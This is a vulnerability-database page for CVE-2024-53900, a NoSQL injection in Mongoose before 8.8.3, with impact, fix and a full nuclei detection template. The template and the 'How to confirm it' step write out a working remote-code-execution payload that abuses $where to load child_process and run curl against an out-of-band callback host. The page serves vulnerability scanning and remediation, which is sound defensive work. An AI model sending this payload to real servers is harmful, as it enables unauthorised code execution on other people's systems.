HexBrain

Browse / CVEs / CVE-2024-53900

CVE-2024-53900· mongoose· CWE-89

Mongoose < 8.8.3 - Remote Code Execution

criticalseverity
9.1CVSS score
4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.

Impact

Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.

Fix

Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')
Positive when: status_code == 200 and contains(interactsh_protocol, "http") and contains(interactsh_request, "User-Agent: curl")

Run it with nuclei: nuclei -id CVE-2024-53900 -u <target>

The full check
id: CVE-2024-53900

info:
  name: Mongoose < 8.8.3 - Remote Code Execution
  author: h4mg
  severity: critical
  description: |
    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
  impact: |
    Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.
  remediation: |
    Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.
  reference:
    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
    - https://github.com/advisories/GHSA-m7xq-9374-9rvx
    - https://www.youtube.com/watch?v=WX_N1NGPbug
    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-53900
    cwe-id: CWE-89
    epss-score: 0.03981
    epss-percentile: 0.90579
  metadata:
    verified: true
    max-request: 1
    product: mongoose
    framework: nodejs
    shodan-query: "Server: Mongoose"
  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev,vuln

variables:
  pfield: "author"

http:
  - method: GET
    path:
      - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from